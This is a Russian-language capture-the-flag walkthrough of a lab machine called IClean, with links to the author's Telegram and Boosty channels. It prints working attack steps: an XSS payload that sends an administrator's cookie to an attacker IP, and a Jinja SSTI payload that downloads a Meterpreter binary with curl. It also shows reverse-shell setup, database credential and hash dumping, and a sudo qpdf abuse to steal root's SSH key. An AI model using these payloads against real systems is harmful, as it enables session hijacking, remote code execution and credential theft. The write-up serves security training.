Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/b69b3bd9-f10a-4d37-a716-183bf7addcab я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Просканируем машину с помощью rustscan
:
Open 10.10.11.12:22
Open 10.10.11.12:80
Веб
Посмотрим, что у нас на вебе.
Поищем эндпоинты:
/about (Status: 200) [Size: 5267]
/login (Status: 200) [Size: 2106]
/services (Status: 200) [Size: 8592]
/team (Status: 200) [Size: 8109]
/quote (Status: 200) [Size: 2237]
/logout (Status: 302) [Size: 189] [--> /]
/dashboard (Status: 302) [Size: 189] [--> /]
Мы можем заказать стоимость обслуживания - сообщение должно улететь в команду, которая обработает заказ.
Попробуем пробросить XSS в поле сервиса:
service=<img src=x onerror=this.src="http://10.10.14.17:4243/"+document.cookie>&[email protected]
И ловим cookie администратора.
Добавляем себе этот cookie как session
и переходим в /dashboard
:
В админке мы можем пройти по пути генерации заказа (Invoce), далее генерации QR и в итоге получаем распечатку заказа в PDF с нашими данными.
Попробуем отправить последний запрос в Burp Repeater и вместо ссылки на QR отправим test
:
test
отобразился в в тег <img>
в результате (после base64
). Есть вероятность, что это SSTI.
Пробуем получить шелл. Готовим Meterpreter:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4244 -f elf -o s
msfconsole -x "use exploits/multi/handler; set lhost tun0; set lport 4244; set payload linux/x64/meterpreter/reverse_tcp; exploit"
Качаем пейлоад:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('curl http://10.10.14.17:4243/s -o /tmp/s',shell=True,stdout=-1).communicate()}}
Аналогично даем права на исполнение и запускаем.
Поймали шелл:
Пользователь
Смотрим в приложение app.py
и обнаруживаем креды для базы данных:
$ cat app.py
...
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': '...',
'database': 'capiclean'
}
...
Смотрим таблицы в базе:
$ mysql -u iclean -p'...' capiclean -e 'show tables';
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_capiclean
quote_requests
services
users
Достаем значения из таблицы users
:
$ mysql -u iclean -p'...' capiclean -e 'select * from users;'
id username password role_id
1 admin ...
2 consuela ...
Хеш пользователя consuela
легко находится на crackstation.net
и подходит к SSH.
Пробуем логиниться как consula
через SSH:
Флаг пользователя
Повышение привилегий
Проверим, что можно делать с помощью прав суперпользователя:
$ sudo -l
Matching Defaults entries for consuela on iclean:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdf
Мы можем исполнять qpdf
.
Крадем SSH-ключ пользователя root
:
sudo qpdf --empty --add-attachment /root/.ssh/id_rsa -- /tmp/k.pdf
Запишем ключ в id_rsa
, проставим ему права и подключимся к SSH:
chmod 600 id_rsa
ssh -i id_rsa [email protected]